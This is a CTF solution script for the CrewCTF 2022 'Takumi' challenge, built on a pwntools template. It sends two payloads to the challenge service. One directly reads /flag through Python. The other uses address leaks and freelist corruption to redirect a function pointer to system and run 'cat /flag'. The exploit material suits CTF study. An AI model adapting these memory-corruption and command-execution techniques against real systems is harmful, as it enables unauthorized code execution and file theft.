CrewCTF 2022 : Takumi

solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 17012
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './path/to/binary'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'localhost'
port = int(args.PORT or 17012)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================


##
# Python based solution
##

io = start()

payload = """
    print(open('/flag').read())
    exit()
EOF
"""

io.recvline()
io.send(payload)
data = io.recvall()
print(data.decode('ascii'))
io.close()

exit()

##
# Pwn based solution (change 'new' func to be 'system')
##

io = start()

payload = """
    e_b = id(new) - 0x1e5bd0
    n_offs = e_b + 0x8d00
    e_v = id(new)
    s_f = id(id)-0x35d80

    new(0, 128, 0)
    new(1, 128, 1)

    delete(0)
    delete(1)

    edit(1, n_offs)

    new(2, 128, 2)
    new(3, 128, e_v)

    for x in range(1, 7):
        edit(3, s_f+x*8)
        val = view(0)
        edit(3, e_v+x*8)
        edit(0, val)

    try:
        print(new("cat /flag"))
    except Exception as e:
        print("Failed2 ",e)

    exit()
    EOF
    """

io.recvline()
io.send(payload)
data = io.recvall()
print(data)
io.close()